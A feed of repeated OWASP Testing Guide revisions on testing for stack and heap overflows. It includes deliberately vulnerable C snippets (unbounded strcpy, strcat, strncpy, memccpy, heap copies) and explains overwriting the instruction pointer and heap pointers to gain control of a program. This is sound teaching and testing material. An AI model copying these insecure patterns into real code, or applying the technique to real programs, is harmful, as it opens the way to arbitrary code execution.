OWASP - User contributions [en]

Testing for Stack Overflow

2008-08-23T17:17:03Z

Marco: /* Black Box testing and example */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
 
In this section, we describe a particular overflow test that focuses on how to manipulate the program stack.
 

== Description of the Issue ==
 
Stack overflows occur when variable size data is copied into fixed length buffers located on the program stack without any bounds checking.
Vulnerabilities of this class are generally considered to be of high severity since their exploitation would mostly permit arbitrary code execution or Denial of Service. Rarely found in interpreted platforms, code written in C and similar languages is often ridden with instances of this vulnerability. An extract from the buffer overflow section of OWASP Guide 2.0 states that:

<pre>
“Almost every platform, with the following notable exceptions:
J2EE – as long as native methods or system calls are not invoked
.NET – as long as /unsafe or unmanaged code is not invoked (such as the use of P/Invoke or COM Interop)
PHP – as long as external programs and vulnerable PHP extensions written in C or C++ are not called “
can suffer from stack overflow issues.
</pre>

Stack overflow vulnerabilities often allow an attacker to directly take control of the instruction pointer and, therefore, alter the execution of the program and execute arbitrary code. Besides overwriting the instruction pointer, similar results can also be obtained by overwriting other variables and structures, like Exception Handlers, which are located on the stack.
 

== Black Box testing and example ==
The key to testing an application for stack overflow vulnerabilities is supplying overly large input data as compared to what is expected.
However, subjecting the application to arbitrarily large data is not sufficient. It becomes necessary to inspect the application’s execution flow and responses to ascertain whether an overflow has actually been triggered or not. Therefore, the steps required to locate and validate stack overflows would involve attaching a debugger to the target application or process, generate malformed input for the application, subject application to malformed input, and inspect responses in debugger. The debugger allows the tester to view the execution flow and the state of the registers when the vulnerability gets triggered.

On the other hand, a more passive form of testing can be employed, which involves inspecting assembly code of the application by using disassemblers. In this case various, sections are scanned for signatures of vulnerable assembly fragments. This is often termed as reverse engineering and is a tedious process.

As a simple example, consider the following technique employed while testing an executable “sample.exe” for stack overflows:

<pre>
#include<stdio.h>
int main(int argc, char *argv[])
{
char buff[20];
printf("copying into buffer");
strcpy(buff,argv[1]);
return 0;
}
</pre>

File sample.exe is launched in a debugger, in our case OllyDbg.

[[image:stack overflow vulnerability.gif]]

Since the application is expecting command line arguments, a large sequence of characters such as ‘A’, can be supplied in the argument field shown above.

On opening the executable with the supplied arguments and continuing execution the following results are obtained.

[[image:stack overflow vulnerability 2.gif]]

As shown in the registers window of the debugger, the EIP or extended Instruction pointer, which points to the next instruction to be executed, contains the value ‘41414141’. ‘41’ is a hexadecimal representation for the character ‘A’ and therefore the string ‘AAAA’ translates to 41414141.

This clearly demonstrates how input data can be used to overwrite the instruction pointer with user supplied values and control program execution. A stack overflow can also allow overwriting of stack based structures like SEH (Structured Exception Handler) to control code execution and bypass certain stack protection mechanisms.

As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using fuzzing techniques.

== Gray Box testing and example ==

When reviewing code for stack overflows, it is advisable to search for calls to insecure library functions like gets(), strcpy(), strcat() etc which do not validate the length of source strings and blindly copy data into fixed size buffers.

For example consider the following function:-

<pre>
void log_create(int severity, char *inpt) {

char b[1024];

if (severity == 1)
{
strcat(b,”Error occured on”);
strcat(b,":");
strcat(b,inpt);

FILE *fd = fopen ("logfile.log", "a");
fprintf(fd, "%s", b);
fclose(fd);

. . . . . .
}
</pre>

From above, the line strcat(b,inpt) will result in a stack overflow in case inpt exceeds 1024 bytes. Not only does this demonstrate an insecure usage of strcat, it also shows how important it is to examine the length of strings referenced by a character pointer that is passed as an argument to a function; In this case the length of string referenced by char *inpt. Therefore it is always a good idea to trace back the source of function arguments and ascertain string lengths while reviewing code.

Usage of the relatively safer strncpy() can also lead to stack overflows since it only restricts the number of bytes copied into the destination buffer. In case the size argument that is used to accomplish this is generated dynamically based on user input or calculated inaccurately within loops, it is possible to overflow stack buffers. For example:-

<pre>
Void func(char *source)
{
Char dest[40];
…
size=strlen(source)+1
….
strncpy(dest,source,size)
}
</pre>

where source is user controllable data. A good example would be the samba trans2open stack overflow vulnerability (http://www.securityfocus.com/archive/1/317615).

Vulnerabilities can also appear in URL and address parsing code. In such cases a function like memccpy() is usually employed which copies data into a destination buffer from source till a specified character is not encountered. Consider the function:

<pre>
Void func(char *path)
{
char servaddr[40];
…
memccpy(servaddr,path,'\');
….
}
</pre>

In this case the information contained in path could be greater than 40 bytes before ‘\’ can be encountered. If so it will cause a stack overflow. A similar vulnerability was located in Windows RPCSS subsystem (MS03-026). The vulnerable code copied server names from UNC paths into a fixed size buffer till a ‘\’ was encountered. The length of the server name in this case was controllable by users.

Apart from manually reviewing code for stack overflows, static code analysis tools can also be of great assistance. Although they tend to generate a lot of false positives and would barely be able to locate a small portion of defects, they certainly help in reducing the overhead associated with finding low hanging fruits like strcpy() and sprintf() bugs. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages.

==References==
'''Whitepapers''' 
* Defeating Stack Based Buffer Overflow Prevention Mechanism of Windows 2003 Server - http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf
* Aleph One: "Smashing the Stack for Fun and Profit" - http://www.phrack.org/issues.html?issue=49&id=14#article
* Tal Zeltzer: "Basic stack overflow exploitation on Win32" - http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Basic_stack_overflow_exploiting_on_win32
* Tal Zeltzer"Exploiting Default SEH to increase Exploit Stability" -
http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Exploiting_default_seh_to_increase_stability
* The Samba trans2open stack overflow vulnerability - http://www.securityfocus.com/archive/1/317615
* Windows RPC DCOM vulnerability details - http://www.xfocus.org/documents/200307/2.html

'''Tools''' 
* OllyDbg: "A windows based debugger used for analyzing buffer overflow vulnerabilities" - http://www.ollydbg.de
* Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - http://www.immunitysec.com/downloads/SPIKE2.9.tgz
* Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net/
* Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework/

Testing for Stack Overflow

2008-08-23T17:12:06Z

Marco:

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
 
In this section, we describe a particular overflow test that focuses on how to manipulate the program stack.
 

== Description of the Issue ==
 
Stack overflows occur when variable size data is copied into fixed length buffers located on the program stack without any bounds checking.
Vulnerabilities of this class are generally considered to be of high severity since their exploitation would mostly permit arbitrary code execution or Denial of Service. Rarely found in interpreted platforms, code written in C and similar languages is often ridden with instances of this vulnerability. An extract from the buffer overflow section of OWASP Guide 2.0 states that:

<pre>
“Almost every platform, with the following notable exceptions:
J2EE – as long as native methods or system calls are not invoked
.NET – as long as /unsafe or unmanaged code is not invoked (such as the use of P/Invoke or COM Interop)
PHP – as long as external programs and vulnerable PHP extensions written in C or C++ are not called “
can suffer from stack overflow issues.
</pre>

Stack overflow vulnerabilities often allow an attacker to directly take control of the instruction pointer and, therefore, alter the execution of the program and execute arbitrary code. Besides overwriting the instruction pointer, similar results can also be obtained by overwriting other variables and structures, like Exception Handlers, which are located on the stack.
 

== Black Box testing and example ==
The key to testing an application for stack overflow vulnerabilities is supplying overly large input data as compared to what is expected.
However subjecting the application to arbitrarily large data is not sufficient. It becomes necessary to inspect the application’s execution flow and responses to ascertain whether an overflow has actually been triggered or not. Therefore the steps required to locate and validate stack overflows would involve attaching a debugger to the target application or process, generate malformed input for the application, subject application to malformed input and inspect responses in debugger. The debugger serves to be the medium for viewing execution flow and state of the registers when vulnerability gets triggered.

On the other Hand a more passive form of testing can be employed which involves inspecting assembly code of the application by use of disassemblers. In this case various sections are scanned for signatures of vulnerable assembly fragments. This is often termed as reverse engineering and is a tedious process.

As a simple example consider the following technique employed while testing an executable “sample.exe” for stack overflows:

<pre>
#include<stdio.h>
int main(int argc, char *argv[])
{
char buff[20];
printf("copying into buffer");
strcpy(buff,argv[1]);
return 0;
}
</pre>

File sample.exe is launched in a debugger, in our case OllyDbg.

[[image:stack overflow vulnerability.gif]]

Since the application is expecting command line arguments, a large sequence of characters such as ‘A’ can be supplied in the arguments field shown above.

On opening the executable with supplied arguments and continuing execution the following results are obtained.

[[image:stack overflow vulnerability 2.gif]]

As shown in the registers window of the debugger, the EIP or extended Instruction pointer, which points to the next instruction lined up for execution, contains the value ‘41414141’. ‘41’ is a hexadecimal representation for the character ‘A’ and therefore the string ‘AAAA’ translates to 41414141.

This clearly demonstrates how input data can be used to overwrite the instruction pointer with user supplied values and control program execution. A stack overflow can also allow overwriting of stack based structures like SEH (Structured Exception Handler) to control code execution and bypass certain stack protection mechanisms.

As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using Fuzzing techniques.

== Gray Box testing and example ==

When reviewing code for stack overflows, it is advisable to search for calls to insecure library functions like gets(), strcpy(), strcat() etc which do not validate the length of source strings and blindly copy data into fixed size buffers.

For example consider the following function:-

<pre>
void log_create(int severity, char *inpt) {

char b[1024];

if (severity == 1)
{
strcat(b,”Error occured on”);
strcat(b,":");
strcat(b,inpt);

FILE *fd = fopen ("logfile.log", "a");
fprintf(fd, "%s", b);
fclose(fd);

. . . . . .
}
</pre>

From above, the line strcat(b,inpt) will result in a stack overflow in case inpt exceeds 1024 bytes. Not only does this demonstrate an insecure usage of strcat, it also shows how important it is to examine the length of strings referenced by a character pointer that is passed as an argument to a function; In this case the length of string referenced by char *inpt. Therefore it is always a good idea to trace back the source of function arguments and ascertain string lengths while reviewing code.

Usage of the relatively safer strncpy() can also lead to stack overflows since it only restricts the number of bytes copied into the destination buffer. In case the size argument that is used to accomplish this is generated dynamically based on user input or calculated inaccurately within loops, it is possible to overflow stack buffers. For example:-

<pre>
Void func(char *source)
{
Char dest[40];
…
size=strlen(source)+1
….
strncpy(dest,source,size)
}
</pre>

where source is user controllable data. A good example would be the samba trans2open stack overflow vulnerability (http://www.securityfocus.com/archive/1/317615).

Vulnerabilities can also appear in URL and address parsing code. In such cases a function like memccpy() is usually employed which copies data into a destination buffer from source till a specified character is not encountered. Consider the function:

<pre>
Void func(char *path)
{
char servaddr[40];
…
memccpy(servaddr,path,'\');
….
}
</pre>

In this case the information contained in path could be greater than 40 bytes before ‘\’ can be encountered. If so it will cause a stack overflow. A similar vulnerability was located in Windows RPCSS subsystem (MS03-026). The vulnerable code copied server names from UNC paths into a fixed size buffer till a ‘\’ was encountered. The length of the server name in this case was controllable by users.

Apart from manually reviewing code for stack overflows, static code analysis tools can also be of great assistance. Although they tend to generate a lot of false positives and would barely be able to locate a small portion of defects, they certainly help in reducing the overhead associated with finding low hanging fruits like strcpy() and sprintf() bugs. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages.

==References==
'''Whitepapers''' 
* Defeating Stack Based Buffer Overflow Prevention Mechanism of Windows 2003 Server - http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf
* Aleph One: "Smashing the Stack for Fun and Profit" - http://www.phrack.org/issues.html?issue=49&id=14#article
* Tal Zeltzer: "Basic stack overflow exploitation on Win32" - http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Basic_stack_overflow_exploiting_on_win32
* Tal Zeltzer"Exploiting Default SEH to increase Exploit Stability" -
http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Exploiting_default_seh_to_increase_stability
* The Samba trans2open stack overflow vulnerability - http://www.securityfocus.com/archive/1/317615
* Windows RPC DCOM vulnerability details - http://www.xfocus.org/documents/200307/2.html

'''Tools''' 
* OllyDbg: "A windows based debugger used for analyzing buffer overflow vulnerabilities" - http://www.ollydbg.de
* Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - http://www.immunitysec.com/downloads/SPIKE2.9.tgz
* Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net/
* Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework/

Testing for Stack Overflow

2008-08-23T08:10:51Z

Marco: /* Brief Summary */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
 
In this section, we describe a particular overflow test that focuses on how to manipulate the program stack.
 

== Description of the Issue ==
 
Stack overflows occur when variable size data is copied into fixed length buffers located on the program stack without any bounds checking.
Vulnerabilities of this class are generally considered to be of high severity since exploitation would mostly permit arbitrary code execution or Denial of Service. Rarely found in interpreted platforms, code written in C and similar languages is often ridden with instances of this vulnerability. An extract from the buffer overflow section of OWASP Guide 2.0 states that:

<pre>
“Almost every platform, with the following notable exceptions:
J2EE – as long as native methods or system calls are not invoked
.NET – as long as /unsafe or unmanaged code is not invoked (such as the use of P/Invoke or COM Interop)
PHP – as long as external programs and vulnerable PHP extensions written in C or C++ are not called “
can suffer from stack overflow issues.
</pre>

The stack overflow vulnerability attains high severity on account of the fact that it allows overwriting of the Instruction Pointer with arbitrary values. It is a well known fact that the instruction pointer is instrumental in governing the code execution flow. The ability to manipulate it would allow an attacker to alter execution flow and thereby execute arbitrary code. Apart from overwriting the instruction pointer, similar results can also be obtained by overwriting other variables and structures, like Exception Handlers, which are located on the stack.
 

== Black Box testing and example ==
The key to testing an application for stack overflow vulnerabilities is supplying overly large input data as compared to what is expected.
However subjecting the application to arbitrarily large data is not sufficient. It becomes necessary to inspect the application’s execution flow and responses to ascertain whether an overflow has actually been triggered or not. Therefore the steps required to locate and validate stack overflows would involve attaching a debugger to the target application or process, generate malformed input for the application, subject application to malformed input and inspect responses in debugger. The debugger serves to be the medium for viewing execution flow and state of the registers when vulnerability gets triggered.

On the other Hand a more passive form of testing can be employed which involves inspecting assembly code of the application by use of disassemblers. In this case various sections are scanned for signatures of vulnerable assembly fragments. This is often termed as reverse engineering and is a tedious process.

As a simple example consider the following technique employed while testing an executable “sample.exe” for stack overflows:

<pre>
#include<stdio.h>
int main(int argc, char *argv[])
{
char buff[20];
printf("copying into buffer");
strcpy(buff,argv[1]);
return 0;
}
</pre>

File sample.exe is launched in a debugger, in our case OllyDbg.

[[image:stack overflow vulnerability.gif]]

Since the application is expecting command line arguments, a large sequence of characters such as ‘A’ can be supplied in the arguments field shown above.

On opening the executable with supplied arguments and continuing execution the following results are obtained.

[[image:stack overflow vulnerability 2.gif]]

As shown in the registers window of the debugger, the EIP or extended Instruction pointer, which points to the next instruction lined up for execution, contains the value ‘41414141’. ‘41’ is a hexadecimal representation for the character ‘A’ and therefore the string ‘AAAA’ translates to 41414141.

This clearly demonstrates how input data can be used to overwrite the instruction pointer with user supplied values and control program execution. A stack overflow can also allow overwriting of stack based structures like SEH (Structured Exception Handler) to control code execution and bypass certain stack protection mechanisms.

As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using Fuzzing techniques.

== Gray Box testing and example ==

When reviewing code for stack overflows, it is advisable to search for calls to insecure library functions like gets(), strcpy(), strcat() etc which do not validate the length of source strings and blindly copy data into fixed size buffers.

For example consider the following function:-

<pre>
void log_create(int severity, char *inpt) {

char b[1024];

if (severity == 1)
{
strcat(b,”Error occured on”);
strcat(b,":");
strcat(b,inpt);

FILE *fd = fopen ("logfile.log", "a");
fprintf(fd, "%s", b);
fclose(fd);

. . . . . .
}
</pre>

From above, the line strcat(b,inpt) will result in a stack overflow in case inpt exceeds 1024 bytes. Not only does this demonstrate an insecure usage of strcat, it also shows how important it is to examine the length of strings referenced by a character pointer that is passed as an argument to a function; In this case the length of string referenced by char *inpt. Therefore it is always a good idea to trace back the source of function arguments and ascertain string lengths while reviewing code.

Usage of the relatively safer strncpy() can also lead to stack overflows since it only restricts the number of bytes copied into the destination buffer. In case the size argument that is used to accomplish this is generated dynamically based on user input or calculated inaccurately within loops, it is possible to overflow stack buffers. For example:-

<pre>
Void func(char *source)
{
Char dest[40];
…
size=strlen(source)+1
….
strncpy(dest,source,size)
}
</pre>

where source is user controllable data. A good example would be the samba trans2open stack overflow vulnerability (http://www.securityfocus.com/archive/1/317615).

Vulnerabilities can also appear in URL and address parsing code. In such cases a function like memccpy() is usually employed which copies data into a destination buffer from source till a specified character is not encountered. Consider the function:

<pre>
Void func(char *path)
{
char servaddr[40];
…
memccpy(servaddr,path,'\');
….
}
</pre>

In this case the information contained in path could be greater than 40 bytes before ‘\’ can be encountered. If so it will cause a stack overflow. A similar vulnerability was located in Windows RPCSS subsystem (MS03-026). The vulnerable code copied server names from UNC paths into a fixed size buffer till a ‘\’ was encountered. The length of the server name in this case was controllable by users.

Apart from manually reviewing code for stack overflows, static code analysis tools can also be of great assistance. Although they tend to generate a lot of false positives and would barely be able to locate a small portion of defects, they certainly help in reducing the overhead associated with finding low hanging fruits like strcpy() and sprintf() bugs. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages.

==References==
'''Whitepapers''' 
* Defeating Stack Based Buffer Overflow Prevention Mechanism of Windows 2003 Server - http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf
* Aleph One: "Smashing the Stack for Fun and Profit" - http://www.phrack.org/issues.html?issue=49&id=14#article
* Tal Zeltzer: "Basic stack overflow exploitation on Win32" - http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Basic_stack_overflow_exploiting_on_win32
* Tal Zeltzer"Exploiting Default SEH to increase Exploit Stability" -
http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Exploiting_default_seh_to_increase_stability
* The Samba trans2open stack overflow vulnerability - http://www.securityfocus.com/archive/1/317615
* Windows RPC DCOM vulnerability details - http://www.xfocus.org/documents/200307/2.html

'''Tools''' 
* OllyDbg: "A windows based debugger used for analyzing buffer overflow vulnerabilities" - http://www.ollydbg.de
* Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - http://www.immunitysec.com/downloads/SPIKE2.9.tgz
* Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net/
* Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework/

Testing for Heap Overflow

2008-08-23T08:08:03Z

Marco: /* Gray Box testing and example */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
 
In this test we check whether a tester can make an heap overflow that exploits a memory segment.
 

== Description of the Issue ==
 
Heap is a memory segment that is used for storing dynamically allocated data and global variables. Each chunk of memory in heap consists of boundary tags that contain memory management information.

When a heap-based buffer is overflowed the control information in these tags is overwritten. When the heap management routine frees the buffer, a memory address overwrite takes place leading to an access violation. When the overflow is executed in a controlled fashion, the vulnerability would allow an adversary to overwrite a desired memory location with a user-controlled value. In practice, an attacker would be able to overwrite function pointers and various addresses stored in structures like GOT, .dtors or TEB with the address of a malicious payload.

There are numerous variants of the heap overflow (heap corruption) vulnerability that can allow anything from overwriting function pointers to exploiting memory management structures for arbitrary code execution. Locating heap overflows requires closer examination in comparison to stack overflows since there are certain conditions that need to exist in the code for these vulnerabilities to be exploitable.
 

== Black Box testing and example ==

The principles of black box testing for heap overflows remain the same as stack overflows. The key is to supply as input strings that are longer than expected.
Although the test process remains the same, the results that are visible in a debugger are significantly different. While in the case of a stack overflow, an instruction pointer or SEH overwrite would be apparent, this does not hold true for a heap overflow condition. When debugging a windows program, a heap overflow can appear in several different forms, the most common one being a pointer exchange taking place after the heap management routine comes into action. Shown below is a scenario that illustrates a heap overflow vulnerability.

[[image:heap overflow vulnerability.gif]]

The two registers shown, EAX and ECX, can be populated with user supplied addresses which are a part of the data that is used to overflow the heap buffer. One of the addresses can point to a function pointer which needs to be overwritten, for example UEF (Unhandled Exception filter), and the other can be the address of user supplied code that needs to be executed.

When the MOV instructions shown in the left pane are executed, the overwrite takes place and, when the function is called, user supplied code gets executed.
As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using fuzzing techniques.

== Gray Box testing and example ==

When reviewing code, one must realize that there exist several avenues where heap related vulnerabilities may arise. Code that seems innocuous at the first glance can actually be vulnerable under certain conditions. Since there are several variants of this vulnerability, we will cover only the issues that are predominant.
Most of the time, heap buffers are considered safe by a lot of developers who do not hesitate to perform insecure operations like strcpy( ) on them. The myth that a stack overflow and instruction pointer overwrite are the only means to execute arbitrary code proves to be hazardous in case of code shown below:-

<pre>
int main(int argc, char *argv[])
{
……

vulnerable(argv[1]);
return 0;
}

int vulnerable(char *buf)
{

HANDLE hp = HeapCreate(0, 0, 0);

HLOCAL chunk = HeapAlloc(hp, 0, 260);

strcpy(chunk, buf); ''' Vulnerability'''

……..

return 0;
}
</pre>

In this case, if buf exceeds 260 bytes, it will overwrite pointers in the adjacent boundary tag, facilitating the overwrite of an arbitrary memory location with 4 bytes of data once the heap management routine kicks in.

Lately, several products, especially anti-virus libraries, have been affected by variants that are combinations of an integer overflow and copy operations to a heap buffer. As an example, consider a vulnerable code snippet, a part of code responsible for processing TNEF filetypes, from Clam Anti Virus 0.86.1, source file tnef.c and function tnef_message( ):

<pre>
string = cli_malloc(length + 1); ''' Vulnerability'''
if(fread(string, 1, length, fp) != length) {''' Vulnerability'''
free(string);
return -1;
}
</pre>

The malloc in line 1 allocates memory based on the value of length, which happens to be a 32 bit integer. In this particular example length is user controllable and a malicious TNEF file can be crafted to set length to ‘-1’, which would result in malloc( 0 ). Therefore, this malloc would allocate a small heap buffer, which would be 16 bytes on most 32 bit platforms (as indicated in malloc.h).

And now, in line 2, a heap overflow occurs in the call to fread( ). The 3rd argument, in this case length, is expected to be a size_t variable. But if it’s going to be ‘-1’, the argument wraps to 0xFFFFFFFF, thus copying 0xFFFFFFFF bytes into the 16 byte buffer.

Static code analysis tools can also help in locating heap related vulnerabilities such as “double free” etc. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages.

==References==
'''Whitepapers''' 
* w00w00: "Heap Overflow Tutorial" - http://www.w00w00.org/files/articles/heaptut.txt
* David Litchfield: "Windows Heap Overflows" - http://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt
* Alex wheeler: "Clam Anti-Virus Multiple remote buffer overflows" - http://www.rem0te.com/public/images/clamav.pdf

'''Tools''' 
* OllyDbg: "A windows based debugger used for analyzing buffer overflow vulnerabilities" - http://www.ollydbg.de
* Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - http://www.immunitysec.com/downloads/SPIKE2.9.tgz
* Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net
* Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework
* Stack [Varun Uppal (varunuppal81@gmail.com)]

{{Category:OWASP Testing Project AoC}}

Testing for Heap Overflow

2008-08-23T08:02:16Z

Marco: /* Black Box testing and example */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
 
In this test we check whether a tester can make an heap overflow that exploits a memory segment.
 

== Description of the Issue ==
 
Heap is a memory segment that is used for storing dynamically allocated data and global variables. Each chunk of memory in heap consists of boundary tags that contain memory management information.

When a heap-based buffer is overflowed the control information in these tags is overwritten. When the heap management routine frees the buffer, a memory address overwrite takes place leading to an access violation. When the overflow is executed in a controlled fashion, the vulnerability would allow an adversary to overwrite a desired memory location with a user-controlled value. In practice, an attacker would be able to overwrite function pointers and various addresses stored in structures like GOT, .dtors or TEB with the address of a malicious payload.

There are numerous variants of the heap overflow (heap corruption) vulnerability that can allow anything from overwriting function pointers to exploiting memory management structures for arbitrary code execution. Locating heap overflows requires closer examination in comparison to stack overflows since there are certain conditions that need to exist in the code for these vulnerabilities to be exploitable.
 

== Black Box testing and example ==

The principles of black box testing for heap overflows remain the same as stack overflows. The key is to supply as input strings that are longer than expected.
Although the test process remains the same, the results that are visible in a debugger are significantly different. While in the case of a stack overflow, an instruction pointer or SEH overwrite would be apparent, this does not hold true for a heap overflow condition. When debugging a windows program, a heap overflow can appear in several different forms, the most common one being a pointer exchange taking place after the heap management routine comes into action. Shown below is a scenario that illustrates a heap overflow vulnerability.

[[image:heap overflow vulnerability.gif]]

The two registers shown, EAX and ECX, can be populated with user supplied addresses which are a part of the data that is used to overflow the heap buffer. One of the addresses can point to a function pointer which needs to be overwritten, for example UEF (Unhandled Exception filter), and the other can be the address of user supplied code that needs to be executed.

When the MOV instructions shown in the left pane are executed, the overwrite takes place and, when the function is called, user supplied code gets executed.
As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using fuzzing techniques.

== Gray Box testing and example ==

When reviewing code one must realize that there exist several avenues where heap related vulnerabilities may arise. Code that may seem to be innocuous at the first glance can prove to be vulnerable when certain conditions occur. Since there are several variants of this vulnerability, we will cover issues that are predominant.
Most of the time heap buffers are considered safe by a lot of developers who do not hesitate to perform insecure operations like strcpy( ) on them. The myth, that a stack overflow and instruction pointer overwrite are the only means to execute arbitrary code, proves to be hazardous in case of code shown below:-

<pre>
int main(int argc, char *argv[])
{
……

vulnerable(argv[1]);
return 0;
}

int vulnerable(char *buf)
{

HANDLE hp = HeapCreate(0, 0, 0);

HLOCAL chunk = HeapAlloc(hp, 0, 260);

strcpy(chunk, buf); ''' Vulnerability'''

……..

return 0;
}
</pre>

In this case if buf exceeds 260 bytes, it will overwrite pointers in the adjacent boundary tag facilitating overwrite of an arbitrary memory location with 4 bytes of data once the heap management routine kicks in.

Lately several products, especially anti-virus libraries, have been affected by variants that are combinations of an integer overflow and copy operations to a heap buffer. As an example consider a vulnerable code snippet, a part of code responsible for processing TNEF filetypes, from Clam Anti Virus 0.86.1, source file tnef.c and function tnef_message( ):

<pre>
string = cli_malloc(length + 1); ''' Vulnerability'''
if(fread(string, 1, length, fp) != length) {''' Vulnerability'''
free(string);
return -1;
}
</pre>

The malloc in line 1 allocates memory based on the value of length, which happens to be a 32 bit integer. In this particular example length is user controllable and a malicious TNEF file can be crafted to set length to ‘-1’, which would result in malloc( 0 ). Following this malloc would allocate a small heap buffer, which would be 16 bytes on most 32 bit platforms (as indicated in malloc.h).

And now in line 2 heap overflow occurs in the call to fread( ). The 3rd argument, in this case length, is expected to be a size_t variable. But if it’s going to be ‘-1’, the argument wraps to 0xFFFFFFFF and there by copying 0xFFFFFFFF bytes into the 16 byte buffer.

Static code analysis tools can also help in locating heap related vulnerabilities such as “double free” etc. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages.

==References==
'''Whitepapers''' 
* w00w00: "Heap Overflow Tutorial" - http://www.w00w00.org/files/articles/heaptut.txt
* David Litchfield: "Windows Heap Overflows" - http://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt
* Alex wheeler: "Clam Anti-Virus Multiple remote buffer overflows" - http://www.rem0te.com/public/images/clamav.pdf

'''Tools''' 
* OllyDbg: "A windows based debugger used for analyzing buffer overflow vulnerabilities" - http://www.ollydbg.de
* Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - http://www.immunitysec.com/downloads/SPIKE2.9.tgz
* Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net
* Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework
* Stack [Varun Uppal (varunuppal81@gmail.com)]

{{Category:OWASP Testing Project AoC}}

Testing for Heap Overflow

2008-08-23T07:59:08Z

Marco: /* Description of the Issue */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
 
In this test we check whether a tester can make an heap overflow that exploits a memory segment.
 

== Description of the Issue ==
 
Heap is a memory segment that is used for storing dynamically allocated data and global variables. Each chunk of memory in heap consists of boundary tags that contain memory management information.

When a heap-based buffer is overflowed the control information in these tags is overwritten. When the heap management routine frees the buffer, a memory address overwrite takes place leading to an access violation. When the overflow is executed in a controlled fashion, the vulnerability would allow an adversary to overwrite a desired memory location with a user-controlled value. In practice, an attacker would be able to overwrite function pointers and various addresses stored in structures like GOT, .dtors or TEB with the address of a malicious payload.

There are numerous variants of the heap overflow (heap corruption) vulnerability that can allow anything from overwriting function pointers to exploiting memory management structures for arbitrary code execution. Locating heap overflows requires closer examination in comparison to stack overflows since there are certain conditions that need to exist in the code for these vulnerabilities to be exploitable.
 

== Black Box testing and example ==

The principles of black box testing for heap overflows remain the same as stack overflows. The key is to supply different and large size strings as compared to expected input.
Although the test process remains the same, the results that are visible in a debugger are significantly different. While in the case of a stack overflow an instruction pointer or SEH overwrite would be apparent, this does not hold true for a heap overflow condition. When debugging a windows program a heap overflow can appear in several different forms, the most common one being a pointer exchange taking place after the heap management routine comes into action. Shown below is a scenario that illustrates a heap overflow vulnerability.

[[image:heap overflow vulnerability.gif]]

The two registers shown, EAX and ECX, can be populated with user supplied addresses which are a part of the data that is used to overflow the heap buffer. One of the address can be of a function pointer which needs to be overwritten, for example UEF( Unhandled Exception filter), and the other can be address of user supplied code that needs to be executed.

When MOV instructions shown in the left pane are executed, the overwrite takes place and user supplied code gets executed when the function is called.
As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using Fuzzing techniques.

== Gray Box testing and example ==

When reviewing code one must realize that there exist several avenues where heap related vulnerabilities may arise. Code that may seem to be innocuous at the first glance can prove to be vulnerable when certain conditions occur. Since there are several variants of this vulnerability, we will cover issues that are predominant.
Most of the time heap buffers are considered safe by a lot of developers who do not hesitate to perform insecure operations like strcpy( ) on them. The myth, that a stack overflow and instruction pointer overwrite are the only means to execute arbitrary code, proves to be hazardous in case of code shown below:-

<pre>
int main(int argc, char *argv[])
{
……

vulnerable(argv[1]);
return 0;
}

int vulnerable(char *buf)
{

HANDLE hp = HeapCreate(0, 0, 0);

HLOCAL chunk = HeapAlloc(hp, 0, 260);

strcpy(chunk, buf); ''' Vulnerability'''

……..

return 0;
}
</pre>

In this case if buf exceeds 260 bytes, it will overwrite pointers in the adjacent boundary tag facilitating overwrite of an arbitrary memory location with 4 bytes of data once the heap management routine kicks in.

